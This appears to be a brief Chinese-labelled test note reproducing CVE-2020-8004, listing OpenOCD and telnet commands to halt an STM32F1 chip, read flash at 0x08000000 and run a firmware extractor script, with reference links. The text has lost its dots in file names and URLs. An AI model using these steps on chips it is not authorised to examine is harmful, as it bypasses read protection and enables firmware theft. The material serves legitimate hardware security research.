CVE-2020-8004 测试 $cd openocd-toolbox/scripts/linux/stm32f1x/ $/locksh $/attachsh ($telnet localhost 4444) ($reset halt) ($mdw 0x08000000) $cd stm32f1-firmware-extractor $python3 mainpy 0x08000000 512 参考 blogzapbde/stm32f1-exceptional-failure/ gitlabzapbde/zapb/stm32f1-firmware-extractor/ wwwmuselab-techcom/cve-2020-8004-lou-dong-yua